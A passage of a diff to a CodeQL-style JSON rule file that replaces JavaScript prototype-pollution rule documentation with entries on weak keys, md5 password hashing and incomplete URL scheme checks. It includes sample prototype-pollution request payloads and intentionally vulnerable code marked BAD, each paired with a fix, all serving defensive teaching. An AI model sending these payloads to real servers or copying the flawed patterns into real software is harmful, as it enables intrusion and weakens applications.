[CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
-            "markdown" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n  \"dependencies\": {\n    \"lodash\": \"^4.17.12\"\n  }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n  let config = lodash.merge({}, {\n    prefs: req.query.prefs\n  });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
+            "text" : "# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n",
+            "markdown" : "# Use of a weak cryptographic key\nModern encryption relies on it being computationally infeasible to break the cipher and decode a message without the key. As computational power increases, the ability to break ciphers grows and keys need to become larger.\n\n\n## Recommendation\nAn encryption key should be at least 2048-bit long when using RSA encryption, and 128-bit long when using symmetric encryption.\n\n\n## References\n* Wikipedia: [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)).\n* Wikipedia: [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard).\n* NodeJS: [Crypto](https://nodejs.org/api/crypto.html).\n* NIST: [ Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf).\n* Wikipedia: [Key size](https://en.wikipedia.org/wiki/Key_size)\n* Common Weakness Enumeration: [CWE-326](https://cwe.mitre.org/data/definitions/326.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
-            "description" : "Recursively merging a user-controlled object into another object\n              can allow an attacker to modify the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.",
-            "id" : "js/prototype-pollution",
-            "kind" : "path-problem",
-            "name" : "Prototype-polluting merge call",
+            "tags" : [ "security", "external/cwe/cwe-326" ],
+            "description" : "Using a weak cryptographic key can allow an attacker to compromise security.",
+            "id" : "js/insufficient-key-size",
+            "kind" : "problem",
+            "name" : "Use of a weak cryptographic key",
             "precision" : "high",
-            "problem.severity" : "error",
-            "security-severity" : "6.1"
+            "problem.severity" : "warning",
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/prototype-polluting-assignment",
-          "name" : "js/prototype-polluting-assignment",
+          "id" : "js/insufficient-password-hash",
+          "name" : "js/insufficient-password-hash",
           "shortDescription" : {
-            "text" : "Prototype-polluting assignment"
+            "text" : "Use of password hash with insufficient computational effort"
           },
           "fullDescription" : {
-            "text" : "Modifying an object obtained via a user-controlled property name may lead to accidental mutation of the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting."
+            "text" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
-            "markdown" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    let items = req.session.todos.get(id);\n    if (!items) {\n        items = new Map();\n        req.sessions.todos.set(id, items);\n    }\n    items.set(req.query.name, req.query.text);\n    res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n    let id = req.params.id;\n    if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n        res.end(403);\n        return;\n    }\n    let items = req.session.todos[id];\n    if (!items) {\n        items = req.session.todos[id] = {};\n    }\n    items[req.query.name] = req.query.text;\n    res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
+            "text" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n",
+            "markdown" : "# Use of password hash with insufficient computational effort\nStoring cryptographic hashes of passwords is standard security practice, but it is equally important to select the right hashing scheme. If an attacker obtains the hashed passwords of an application, the password hashing scheme should still prevent the attacker from easily obtaining the original cleartext passwords.\n\nA good password hashing scheme requires a computation that cannot be done efficiently. Standard hashing schemes, such as `md5` or `sha1`, are efficiently computable, and are therefore not suitable for password hashing.\n\n\n## Recommendation\nUse a secure password hashing scheme such as `bcrypt`, `scrypt`, `PBKDF2`, or `Argon2`.\n\n\n## Example\nIn the example below, the `md5` algorithm computes the hash of a password.\n\n\n```javascript\nconst crypto = require(\"crypto\");\nfunction hashPassword(password) {\n    var hasher = crypto.createHash('md5');\n    var hashed = hasher.update(password).digest(\"hex\"); // BAD\n    return hashed;\n}\n\n```\nThis is not secure, since the password can be efficiently cracked by an attacker that obtains the hash. A more secure scheme is to hash the password with the `bcrypt` algorithm:\n\n\n```javascript\nconst bcrypt = require(\"bcrypt\");\nfunction hashPassword(password, salt) {\n  var hashed = bcrypt.hashSync(password, salt); // GOOD\n  return hashed;\n}\n\n```\n\n## References\n* OWASP: [Password storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-916](https://cwe.mitre.org/data/definitions/916.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
-            "description" : "Modifying an object obtained via a user-controlled property name may\n              lead to accidental mutation of the built-in Object prototype,\n              and possibly escalate to remote code execution or cross-site scripting.",
-            "id" : "js/prototype-polluting-assignment",
+            "tags" : [ "security", "external/cwe/cwe-916" ],
+            "description" : "Creating a hash of a password with low computational effort makes the hash vulnerable to password cracking attacks.",
+            "id" : "js/insufficient-password-hash",
             "kind" : "path-problem",
-            "name" : "Prototype-polluting assignment",
+            "name" : "Use of password hash with insufficient computational effort",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.1"
+            "security-severity" : "8.1"
           }
         }, {
-          "id" : "js/prototype-pollution-utility",
-          "name" : "js/prototype-pollution-utility",
+          "id" : "js/incomplete-url-scheme-check",
+          "name" : "js/incomplete-url-scheme-check",
           "shortDescription" : {
-            "text" : "Prototype-polluting function"
+            "text" : "Incomplete URL scheme check"
           },
           "fullDescription" : {
-            "text" : "Functions recursively assigning properties on objects may be the cause of accidental modification of a built-in prototype object."
+            "text" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\" and \"data:\" suggests a logic error or even a security vulnerability."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n",
-            "markdown" : "# Prototype-polluting function\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from one object to another, or through the use of a *deep assignment* function to assign to an unverified chain of property names. Such a function has the potential to modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`.\n\n\n## Recommendation\nThe most effective place to guard against this is in the function that performs the recursive copy or deep assignment.\n\nOnly merge or assign a property recursively when it is an own property of the *destination* object. Alternatively, block the property names `__proto__` and `constructor` from being merged or assigned to.\n\n\n## Example\nThis function recursively copies properties from `src` to `dst`:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nHowever, if `src` is the object `{\"__proto__\": {\"isAdmin\": true}}`, it will inject the property `isAdmin: true` in `Object.prototype`.\n\nThe issue can be fixed by ensuring that only own properties of the destination object are merged recursively:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (dst.hasOwnProperty(key) && isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\nAlternatively, block the `__proto__` and `constructor` properties:\n\n\n```javascript\nfunction merge(dst, src) {\n    for (let key in src) {\n        if (!src.hasOwnProperty(key)) continue;\n        if (key === \"__proto__\" || key === \"constructor\") continue;\n        if (isObject(dst[key])) {\n            merge(dst[key], src[key]);\n        } else {\n            dst[key] = src[key];\n        }\n    }\n}\n\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n"
+            "text" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n",
+            "markdown" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ],
-            "description" : "Functions recursively assigning properties on objects may be\n              the cause of accidental modification of a built-in prototype object.",
-            "id" : "js/prototype-pollution-utility",
-            "kind" : "path-problem",
-            "name" : "Prototype-polluting function",
+            "tags" : [ "security", "correctness", "external/cwe/cwe-020", "external/cwe/cwe-184" ],
+            "description" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\"\n              and \"data:\" suggests a logic error or even a security vulnerability.",
+            "id" : "js/incomplete-url-scheme-check",
+            "kind" : "problem",
+            "name" : "Incomplete URL scheme check",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.1"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/biased-cryptographic-random",
-          "name" : "js/biased-cryptographic-random",
+          "id" : "js/incomplete-url-substring-sanitization",
+          "name" : "js/incomplete-url-substring-sanitization",
           "shortDescription" : {
-            "text" : "Creating biased random numbers from a cryptographically secure source"
+            "text" : "Incomplete URL substring sanitization"
           },
           "fullDescription" : {
-            "text" : "Some mathematical operations on random numbers can cause bias in the results and compromise security."
+            "text" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 'numeric'});\n```\nAlternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nwhile (digits.length < 10) {\n    const byte = crypto.randomBytes(1)[0];\n    if (byte >= 250) {\n        continue;\n    }\n    digits.push(byte % 10); // OK\n}\n```\n\n## References\n* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness).\n* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness).\n* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption).\n* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html).\n",
-            "markdown" : "# Creating biased random numbers from a cryptographically secure source\nGenerating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers.\n\nHowever, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system.\n\n\n## Recommendation\nBe very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers.\n\nIf possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead.\n\n\n## Example\nThe example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness.\n\n\n```javascript\nconst crypto = require('crypto');\n\nconst digits = [];\nfor (let i = 0; i < 10; i++) {\n    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK\n}\n```\nThe random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9.\n\nThe issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values.\n\n\n```javascript\nconst cryptoRandomString = require('crypto-random-string');\n\nconst digits = cryptoRandomString({length: 10, type: 